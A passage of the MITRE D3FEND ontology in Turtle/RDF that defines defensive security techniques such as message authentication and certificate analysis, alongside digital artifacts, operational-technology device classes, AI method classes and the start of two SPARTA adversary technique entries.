    d3f:may-contain d3f:File ;
    rdfs:seeAlso <http://dbpedia.org/resource/Inter-process_communication>,
        <http://dbpedia.org/resource/Intranet> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:File ],
        d3f:IPCNetworkTraffic,
        d3f:IntranetNetworkTraffic .

d3f:IntrinsicallySemi-supervisedLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Intrinsically Semi-supervised Learning" ;
    d3f:d3fend-id "D3A-ISSL" ;
    d3f:definition "These methods directly optimize an objective function with components for labeled and unlabeled samples and do not rely on any intermediate steps or supervised base learners. Basically, these methods are extension of existing supervised methods to include the effect of unlabeled data samples in the objective function." ;
    d3f:kb-article """## References
Beginner's Guide to Semi-Supervised Learning. Jashish Blog.  [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/).""" ;
    rdfs:subClassOf d3f:Semi-SupervisedLearning .

d3f:JobFunctionAccessPatternAnalysis a d3f:JobFunctionAccessPatternAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Job Function Access Pattern Analysis" ;
    d3f:analyzes d3f:Authorization ;
    d3f:d3fend-id "D3-JFAPA" ;
    d3f:definition "Detecting anomalies in user access patterns by comparing user access activity to behavioral profiles that categorize users by role such as job title, function, department." ;
    d3f:kb-article """## How it works
Peer group analysis identifies functionally similar groups of actors (users or resources) based on categorizations such as job title, organizational hierarchy, or other attribute that indicates similarity of job function. Current user access activity is then compared to the appropriate peer group behavior profile to identify anomalies.

## Considerations
Potential for false positives from anomalies that are not associated with malicious activity.""" ;
    d3f:kb-reference d3f:Reference-AnomalyDetectionUsingAdaptiveBehavioralProfiles_SecuronixInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Authorization ],
        d3f:UserBehaviorAnalysis .

d3f:KerberosTicketGrantingTicket a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kerberos Ticket Granting Ticket" ;
    d3f:definition "A ticket granting ticket issued by a Kerberos system; that is, a ticket that grants a user domain admin access." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Ticket_Granting_Ticket> ;
    rdfs:subClassOf d3f:KerberosTicket,
        d3f:TicketGrantingTicket .

d3f:KernelProcessTable a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kernel Process Table" ;
    d3f:definition "A data structure in the kernel which is a table containing all of the information that must be saved when the CPU switches from running one process to another in a multitasking system. It allows the operating system to track all the process's execution status, and contains the For every process managed by the kernel, there is a process control block (PCB) in the process table." ;
    rdfs:isDefinedBy <https://encyclopedia2.thefreedictionary.com/process+table> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Process_(computing)>,
        <https://www.geeksforgeeks.org/process-table-and-process-control-block-pcb/> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:LogicProgramming a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Logic Programming" ;
    d3f:d3fend-id "D3A-LP" ;
    d3f:definition "Logic programming is a programming paradigm which is largely based on formal logic." ;
    d3f:kb-article """## How it works
Any program written in a logic programming language is a set of sentences in logical form, expressing facts and rules about some problem domain. Major logic programming language families include Prolog, answer set programming (ASP) and Datalog. In all of these languages, rules are written in the form of clauses:

H :- B_1, ..., B_n.

## References
1. Logic programming. (2023, May 29). In _Wikipedia_. [Link]( https://en.wikipedia.org/wiki/Logic_programming)""" ;
    rdfs:subClassOf d3f:SymbolicAI .

d3f:MathematicalFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Mathematical Function" ;
    d3f:definition "Computes mathematical expressions." ;
    rdfs:subClassOf d3f:Subroutine .

d3f:MemoryExtent a owl:Class ;
    rdfs:label "Memory Extent" ;
    d3f:definition "A memory extent is a defined, contiguous region of memory within a computing system, characterized by its size, location, and purpose. It represents an abstraction of physical or virtual memory used for storing data, instructions, or other computational artifacts." ;
    rdfs:subClassOf d3f:DigitalInformation .

d3f:MemoryWord a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Memory Word" ;
    d3f:definition "A memory word is the natural unit of data used by a particular computer processor design; a fixed-size piece of data handled as a unit by the instruction set or the hardware of the processor." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Word_(computer_architecture)> ;
    rdfs:subClassOf d3f:MemoryExtent .

d3f:MessageAuthentication a d3f:MessageAuthentication,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Message Authentication" ;
    d3f:authenticates d3f:UserToUserMessage ;
    d3f:d3fend-id "D3-MAN" ;
    d3f:definition "Authenticating the sender of a message and ensuring message integrity." ;
    d3f:kb-article """## How it works

### Digital Signature
Digital signatures are used to verifying a message is from the expected sender. In email, Secure/Multipurpose Internet Mail Extensions (S/MIME) protocol is typically used to digitally sign messages. A hash value of the sender's message is created and encrypted with the sender's private key to create a digital signature. The message and the digital signature are sent to the recipient where the sender's public key is used to decrypt the digital signature and compute the hash of the message. The computed hash is compared with the hash from the received message, and any difference in the hash values signify the message did not originate from the sender and has been alerted in transit.

### Message Authentication Code (MAC)
MAC is a fixed size string that is appended to a message to provide message authentication and integrity. The sender MAC signing algorithm takes as input a secret symmetric key shared between sender and recipient and the message to calculate a short tag that is appended to the message. The recipient receives the message with the appended tag, and a MAC verification algorithm is run using the symmetric key to verify the message came from the stated sender and ensure the message has not been tampered with.

## Considerations
- Public keys associated with digital signatures should be verified by a Certification Authority (CA) to prevent impersonation. The CA verifies the owner of a public key and puts the sender's identity and public key into a certificate that is signed by the CA.
- Digital signatures provide non-repudiation where a third party can verify the authenticity of the message using the sender's digital certificate signed by the CA.
- Symmetric keys must be exchanged securely via a private channel and management of new symmetric keys are needed for each pair of participants wishing to exchange messages.""" ;
    d3f:kb-reference d3f:Reference-DomainKeysIdentifiedMail-Signatures-IETF,
        d3f:Reference-SecureMultipurposeInternetMailExtensionsMIME-Version3.1 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:UserToUserMessage ],
        d3f:MessageHardening .

d3f:MessageHardening a d3f:MessageHardening,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Message Hardening" ;
    d3f:d3fend-id "D3-MH" ;
    d3f:definition "Email or Messaging Hardening includes measures taken to ensure the confidentiality and integrity of user to user computer messages." ;
    d3f:enables d3f:Harden ;
    d3f:synonym "Email Or Messaging Hardening" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Harden ],
        d3f:DefensiveTechnique .

d3f:MessageTransferAgent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Message Transfer Agent" ;
    d3f:definition "A message transfer agent or mail transfer agent (MTA) or mail relay is software that transfers electronic mail messages from one computer to another using a client-server application architecture. An MTA implements both the client (sending) and server (receiving) portions of the Simple Mail Transfer Protocol." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Message_transfer_agent> ;
    rdfs:subClassOf d3f:MailService ;
    skos:altLabel "MTA",
        "Mail Transfer Agent" .

d3f:ModalLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Modal Logic" ;
    d3f:d3fend-id "D3A-ML" ;
    d3f:definition "Modal logic is a collection of formal systems developed to represent statements about necessity and possibility. It plays a major role in philosophy of language, epistemology, metaphysics, and natural language semantics." ;
    d3f:kb-article """## References
1. Modal logic. (2023, June 4). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Modal_logic)""" ;
    rdfs:subClassOf d3f:SymbolicAI .

d3f:Model-freeReinforcementLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Model-free Reinforcement Learning" ;
    d3f:d3fend-id "D3A-MFRL" ;
    d3f:definition "In reinforcement learning (RL), a model-free algorithm (as opposed to a model-based one) is an algorithm which does not use the transition probability distribution (and the reward function) associated with the Markov decision process (MDP),which, in RL, represents the problem to be solved. The transition probability distribution (or transition model) and the reward function are often collectively called the \"model\" of the environment (or MDP), hence the name \"model-free\". A model-free RL algorithm can be thought of as an \"explicit\" trial-and-error algorithm. An example of a model-free algorithm is Q-learning." ;
    d3f:kb-article """## References
Model-free (reinforcement learning). Wikipedia. [Link](https://en.wikipedia.org/wiki/Model-free_(reinforcement_learning)).)""" ;
    rdfs:subClassOf d3f:ReinforcementLearning .

d3f:MoveFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Move File" ;
    d3f:definition "A system call to rename or move a file.  Linux's rename() is an example of this kind of system call. Another way of handling it is to call a copy file system call followed by a delete file system call." ;
    d3f:modifies d3f:FileSystemMetadata ;
    rdfs:seeAlso <https://man7.org/linux/man-pages/man2/rename.2.html> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:FileSystemMetadata ],
        d3f:SystemCall ;
    skos:altLabel "Rename File" .

d3f:NISTSP800-53ControlCatalog a owl:Class ;
    rdfs:label "NIST SP 800-53 Control Catalog" ;
    d3f:definition "A NIST SP 800-53 control catalog provides the entire set of security and privacy controls for a version of NIST SP 800-53." ;
    rdfs:seeAlso <https://doi.org/10.6028/NIST.SP.800-53r5> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-member ;
            owl:someValuesFrom d3f:NISTControl ],
        d3f:ControlCatalog .

d3f:NetworkAccessMediation a d3f:NetworkAccessMediation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Access Mediation" ;
    d3f:d3fend-id "D3-NAM" ;
    d3f:definition "Network access mediation is the control method for authorizing access to a system by a user (or a process acting on behalf of a user) communicating through a network, including a local area network, a wide area network, and the Internet." ;
    d3f:isolates d3f:Network ;
    d3f:kb-article """## How it works

Network Access Mediation is a crucial process in telecommunications and IT networks that involves controlling access to network resources. It acts as an intermediary layer between network access requests and the actual network resources, ensuring that only authorized users and devices can access the network.""" ;
    d3f:kb-reference d3f:Reference-WhatIsNetworkAccessControl ;
    d3f:synonym "Network Access Control" ;
    rdfs:seeAlso <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v1r1.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:Network ],
        d3f:AccessMediation .

d3f:NetworkEvent a owl:Class ;
    rdfs:label "Network Event" ;
    d3f:definition "An event involving network communications within or between digital systems." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/categories/network> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:DigitalEvent .

d3f:NetworkPacket a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Packet" ;
    d3f:definition "A network packet is a formatted unit of data carried by a packet-switched network. Computer communications links that do not support packets, such as traditional point-to-point telecommunications links, simply transmit data as a bit stream. When data is formatted into packets, packet switching is possible and the bandwidth of the communication medium can be better shared among users than with circuit switching." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Network_packet> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:NetworkResourceAccessMediation a d3f:NetworkResourceAccessMediation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Resource Access Mediation" ;
    d3f:d3fend-id "D3-NRAM" ;
    d3f:definition "Control of access to organizational systems and services by users or processes over a network." ;
    d3f:isolates d3f:NetworkResource ;
    d3f:kb-article """## How it works

Network Resource Access Control involves managing and regulating access to resources within an organization's network. This includes ensuring that only authorized users or processes can access specific systems or data, often through authentication and authorization mechanisms. Examples include accessing internal databases, file servers, or application services.""" ;
    d3f:kb-reference d3f:Reference-NIST-Special-Publication-800-53-Revision-5 ;
    d3f:synonym "Remote Access Control" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:NetworkResource ],
        d3f:AccessMediation .

d3f:OSAPITerminateProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Terminate Process" ;
    d3f:invokes d3f:TerminateProcess ;
    rdfs:seeAlso "An OS API function taht stops the execution of a process." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:TerminateProcess ],
        d3f:OSAPISystemFunction .

d3f:OSAPIWriteMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Write Memory" ;
    d3f:definition "An OS API function that writes data into the memory space of another process or into specific regions of memory." ;
    d3f:invokes d3f:WriteMemory ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:WriteMemory ],
        d3f:OSAPISystemFunction .

d3f:OTActuator a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Actuator" ;
    d3f:definition "An OT actuator is an industrial-grade actuator optimized for operational technology (OT) environments, such as SCADA or process-control systems. It tolerates harsher conditions, meets stricter safety and reliability standards, and integrates seamlessly with ICS protocols to enable real-time mechanical motion or adjustments in production lines and critical infrastructure." ;
    rdfs:isDefinedBy <https://csrc.nist.gov/glossary/term/actuator> ;
    rdfs:subClassOf d3f:Actuator .

d3f:OTControlFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Control Function" ;
    d3f:accesses d3f:OTLogicVariable ;
    d3f:definition "A function which accesses OT Control Variables" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:OTLogicVariable ],
        d3f:Subroutine .

d3f:OTControlLogicProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Control Logic Process" ;
    d3f:communicates-with d3f:OTIOModule ;
    d3f:contains d3f:OTLogicVariable ;
    d3f:controls d3f:OTActuator ;
    d3f:definition "The instructions and algorithms within an OT Controller defined by user programming to interpret inputs, process information, and determine outputs." ;
    d3f:monitors d3f:OTSensor ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:communicates-with ;
            owl:someValuesFrom d3f:OTIOModule ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:OTLogicVariable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:OTSensor ],
        [ a owl:Restriction ;
            owl:onProperty d3f:controls ;
            owl:someValuesFrom d3f:OTActuator ],
        d3f:ServiceApplicationProcess .

d3f:OTController a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Controller" ;
    d3f:contains d3f:OTControlProgram ;
    d3f:definition "An OT Controller is an industrial control device that automatically regulates one or more controlled variables in response to command inputs and real-time feedback signals." ;
    d3f:has-operating-mode d3f:OTControllerOperatingMode ;
    d3f:manages d3f:OTControlLogicProcess ;
    d3f:powered-by d3f:OTPowerSupply ;
    rdfs:isDefinedBy <https://csrc.nist.gov/glossary/term/controller> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:OTControlLogicProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:powered-by ;
            owl:someValuesFrom d3f:OTPowerSupply ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:OTControlProgram ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-operating-mode ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:OTEmbeddedComputer .

d3f:OTDiagnosticsMessageEvent a owl:Class ;
    rdfs:label "OT Diagnostics Message Event" ;
    d3f:definition "Relay error, exception, alarm, or log information." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTDiagnosticsMessage ],
        d3f:OTEvent .

d3f:OTEmbeddedComputer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Embedded Computer" ;
    d3f:definition "A ruggedized computational device, embedded in industrial control systems, designed to handle real-time tasks and environmental stressors common in OT." ;
    rdfs:subClassOf d3f:EmbeddedComputer .

d3f:OTModifyControlProgramCommandEvent a owl:Class ;
    rdfs:label "OT Modify Control Program Command Event" ;
    d3f:definition "OT command that adds, removes, or changes, process data on a remote device." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControlProgram ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTModifyControlProgramCommand ],
        d3f:OTModifyDeviceConfigurationCommandEvent .

d3f:OTNetworkManagementCommand a owl:Class ;
    rdfs:label "OT Network Management Command" ;
    d3f:definition "Manage message routing or network connection mechanisms." ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTProtocolMessage .

d3f:OTProcessDataCommand a owl:Class ;
    rdfs:label "OT Process Data Command" ;
    d3f:definition "Manage data associated with a controlled process." ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTProtocolMessage .

d3f:OTProcessDataHistorian a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Process Data Historian" ;
    d3f:contains d3f:TimeSeriesDatabase ;
    d3f:definition "A system used to collect and store data, including telemetry, events, alerts, and alarms about the operational process and supporting devices." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Operational_historian> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:TimeSeriesDatabase ],
        d3f:Application .

d3f:OTSensor a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Sensor" ;
    d3f:definition "An OT Sensor is an industrial-grade sensing device engineered for operational technology (OT) environments (e.g. SCADA, ICS). It measures physical variables—such as pressure, temperature, or flow—under demanding conditions, converting them into reliable signals for real-time monitoring and process control loops." ;
    d3f:may-contain d3f:ClientComputer ;
    d3f:writes d3f:OTProcessVariable ;
    rdfs:comment "Components of the sensor include a sensing element and may include a power source, display, housing, communication interface or signal processor." ;
    rdfs:isDefinedBy <https://csrc.nist.rip/glossary/term/sensor> ;
    rdfs:seeAlso <https://emerson.com/en-us/catalog/rosemount-sku-3051-coplanar-pressure-transmitter>,
        <https://www.emerson.com/en-us/catalog/rosemount-sku-708-wireless-acoustic-transmitter>,
        <https://www.omega.com/en-us/pressure-measurement/pressure-gauges/c/analog-pressure-gauges>,
        <https://www.vega.com/en-us/products/product-catalog/level/radar> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:writes ;
            owl:someValuesFrom d3f:OTProcessVariable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:ClientComputer ],
        d3f:HardwareDevice,
        d3f:Sensor .

d3f:OTTimeCommand a owl:Class ;
    rdfs:label "OT Time Command" ;
    d3f:definition "Read, set, or calculate timing mechanisms." ;
    rdfs:comment """BACnet: timeSynchronization
BACnet: utcTimeSynchronization """,
        """GE-SRTP: SET PLC TIME/DATE
GE-SRTP: RETURN PLC TIME/DATE""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTDeviceManagementMessage .

d3f:OfficeApplicationFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Office Application File" ;
    d3f:definition "A document file in a format associated with an d3f:OfficeApplication." ;
    d3f:may-contain d3f:ImageFile ;
    rdfs:seeAlso d3f:OfficeApplication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:ImageFile ],
        d3f:DocumentFile .

d3f:OperatingSystemConfiguration a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating System Configuration" ;
    d3f:definition "Information used to configure the services, parameters, and initial settings for an operating system." ;
    rdfs:subClassOf d3f:ConfigurationResource .

d3f:OperationalActivityPlan a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operational Activity Plan" ;
    d3f:definition "An activity is a specific behavior representing a set of actions that may be accomplished by an agent." ;
    d3f:synonym "Business Process",
        "Mission Critical Function",
        "Mission Function",
        "Organizational Activity Plan" ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/00408356-n>,
        <https://en.wikipedia.org/wiki/Business_Process_Model_and_Notation>,
        <https://en.wikipedia.org/wiki/IDEF0>,
        <https://enterpriseintegrationlab.github.io/icity/Activity/doc/index-en.html> ;
    rdfs:subClassOf d3f:Plan .

d3f:OrganizationMapping a d3f:OrganizationMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Organization Mapping" ;
    d3f:d3fend-id "D3-OM" ;
    d3f:definition "Organization mapping identifies and models the people, roles, and groups with an organization and the relations between them." ;
    d3f:display-order 4 ;
    d3f:kb-reference d3f:Reference-CatiaUAFPlugin,
        d3f:Reference-OrganizationalManagementInSAPERPHCM,
        d3f:Reference-UnifiedArchitectureFrameworkUAF ;
    d3f:maps d3f:Dependency,
        d3f:Organization,
        d3f:Person ;
    d3f:may-map d3f:OperationalActivityPlan ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:Organization ],
        [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:Person ],
        [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:Dependency ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-map ;
            owl:someValuesFrom d3f:OperationalActivityPlan ],
        d3f:OperationalActivityMapping .

d3f:PartialMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Partial Matching" ;
    d3f:d3fend-id "D3A-PM" ;
    d3f:definition "Partial string pattern matching is a special case of string pattern matching where one seeks to find a pattern within a larger string (text). It allows for the detection of patterns that occur as substrings or partial segments within the full string, rather than requiring an exact match across the entire string." ;
    d3f:kb-article """## References
1. String-searching algorithm. (2023, April 8). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/String-searching_algorithm)""",
        "Numeric pattern matching is a method of matching some defined pattern specification against a numeric value." ;
    rdfs:subClassOf d3f:StringPatternMatching .

d3f:PassiveCertificateAnalysis a d3f:PassiveCertificateAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Passive Certificate Analysis" ;
    d3f:d3fend-id "D3-PCA" ;
    d3f:definition "Collecting host certificates from network traffic or other passive sources like a certificate transparency log and analyzing them for unauthorized activity." ;
    d3f:kb-article """## How it works
Certificates are analyzed outside of a TLS server connection using third-party secure update logs, domain name analysis and analytics.

### Secure update certificate logs
* Certificate Logs
The key enabling feature is a secure service that maintains record logs of certificate activities. The logs allow users to only append certificates and never to delete or modify the log entries. The logs use Merkle Tree Hashes to ensure they have not been tampered with. The logging service also allows for public auditing by any user.

The logging service, upon receipt of a certificate to log, will respond with a signed certificate timestamp (SCT). The SCT guarantees the certificate will be added to the log within the time specified. The SCT must be present with the certificate during a TLS handshake.

* Certificate Monitoring
Certificate monitoring, of the logs, is typically done by the CA and they watch for suspicious certificate logging and unusual certificates or extensions or permissions. Monitors are also responsible for verifying the logs are accurate and public.

* Certificate Auditors
Log integrity is verified by log auditors. Auditors make use of log proofs are used to validate the cryptographic hashes (Merkle Trees) that the log employs are consistent. In order to ensure consistency throughout multiple monitors and auditors, sharing a common logging service, gossip protocol is employed.

### Phishing domain name analysis
* A curated corpus of known benign domains and phishing domain names is used as training text for machine learning. Through the use of feature set extraction, vectors labels are created with scoring to indicated if they are considered benign or phishing domains.

* A stream of new or updated SSL certificates with fully qualified domain names (FQDN) is analyzed against the feature vectors and a predictive model determines a score for the domains. The scoring considers distance measures such as Levenshtein distance to help in determining the final label score. Supervised learning is also employed using the curated domains of benign and phishing domains.

* Subdomain phishing analysis, prepending a trusted domain to a phishing domain, and regular expression comparisons  are also used in the label scoring model. A tunable measure is used to determine the threshold for alerting. This measure helps to balance between precision and recall measures.

## Considerations
* Some entity will need to run the logging service and a trusted entity is preferred.
* Certificate Authorities will likely need to monitor the logging service for consistency.
* Certificate revocation is unchanged and remains outside of Certificate Transparency, but certificates needing to be revoked are visible.
* Technique dependent of reliable feed of new and updated certificates
* Some certificate authorities allow for certificates to be registered with wildcards in the FQDN and thus will fail some of the subdomain scoring
* Phishing HTTP domains will not be discovered""" ;
    d3f:kb-reference d3f:Reference-CertificateTransparency,
        d3f:Reference-StreamingPhish ;
    rdfs:subClassOf d3f:CertificateAnalysis .

d3f:PasswordStore a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Password Store" ;
    d3f:definition "A user repository of account passwords, often accessed via a password manager." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Password_manager> ;
    rdfs:subClassOf d3f:PasswordDatabase .

d3f:PhysicalLocation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Physical Location" ;
    d3f:definition "The terms location  [here, a physical location] and place in geography are used to identify a point or an area on the Earth's surface or elsewhere. The term location generally implies a higher degree of certainty than place, which often indicates an entity with an ambiguous boundary, relying more on human or social attributes of place identity and sense of place than on geometry. The distinction between space and place is considered a central concern of geography, and has been addressed by scholars such as Yi-Fu Tuan and John Agnew." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Location_(geography)> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/location> ;
    rdfs:subClassOf d3f:D3FENDCore .

d3f:Plan a owl:Class ;
    rdfs:label "Plan" ;
    rdfs:subClassOf d3f:D3FENDCore .

d3f:PrivateKey a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Private Key" ;
    d3f:definition "A private key can be used to decrypt messages encrypted using the corresponding public key, or used to sign a message that can be authenticated with the corresponding public key." ;
    d3f:has-dependent d3f:PublicKey ;
    rdfs:seeAlso <http://dbpedia.org/resource/Public-key_cryptography> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-dependent ;
            owl:someValuesFrom d3f:PublicKey ],
        d3f:AsymmetricKey .

d3f:ProcessCreationEvent a owl:Class ;
    rdfs:label "Process Creation Event" ;
    d3f:definition "An event where a new process is spawned, initializing its execution context and resource allocation." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:ProcessStartFunction ],
        d3f:ProcessEvent .

d3f:ProcessImage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Image" ;
    d3f:contains d3f:ProcessSegment ;
    d3f:definition "A process image is a copy of a given process's state at a given point in time. It is often used to create persistence within an otherwise volatile system." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/System_image#Process_images> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ProcessSegment ],
        d3f:ComputingImage .

d3f:Processor a owl:Class ;
    rdfs:label "Processor" ;
    d3f:definition "A processor is a hardware component or integrated circuit that performs computations, executes instructions, and processes data to carry out tasks within a computing system." ;
    d3f:synonym "Computer Processor" ;
    rdfs:subClassOf d3f:HardwareDevice .

d3f:ProtocolMetadataAnomalyDetection a d3f:ProtocolMetadataAnomalyDetection,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Protocol Metadata Anomaly Detection" ;
    d3f:analyzes d3f:NetworkTraffic ;
    d3f:d3fend-id "D3-PMAD" ;
    d3f:definition "Collecting network communication protocol metadata and identifying statistical outliers." ;
    d3f:kb-article """## How it works
Network protocol metadata is first collected and processed in real-time or post-facto. Metadata may include packet header information or information about a session (ex. time between requests/responses). Metadata is then grouped based on shared characteristics and those groups are compared to each other. If particular metadata differs significantly from other data, an alert is generated, identifying the network event as anomalous. Anomalous activity may indicate unauthorized activity.

## Considerations
Metadata collection on enterprises can yield large data sets. Storage, indexing, querying, and aging should be considered prior to implementation.""" ;
    d3f:kb-reference d3f:Reference-MethodAndSystemForDetectingThreatsUsingMetadataVectors_VECTRANETWORKSInc,
        d3f:Reference-MethodAndSystemForDetectingThreatsUsingPassiveClusterMapping_VectraNetworksInc,
        d3f:Reference-SystemForImplementingThreatDetectionUsingDailyNetworkTrafficCommunityOutliers_VECTRANETWORKSInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:RD-0001 a owl:Class ;
    rdfs:label "Acquire Infrastructure - SPARTA" ;
    d3f:attack-id "RD-0001" ;
    d3f:definition "Threat actors may buy, lease, or rent infrastructure that can be used for future campaigns or to perpetuate other techniques. A wide variety of infrastructure exists for threat actors to connect to and communicate with target spacecraft. Infrastructure can include:" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0001/> ;
    rdfs:subClassOf d3f:SPARTAResourceDevelopmentTechnique ;
    skos:prefLabel "Acquire Infrastructure" .

d3f:RD-0005 a owl:Class ;
    rdfs:label "Obtain Non-Cyber Capabilities - SPARTA" ;
    d3f:attack-id "RD-0005" ;
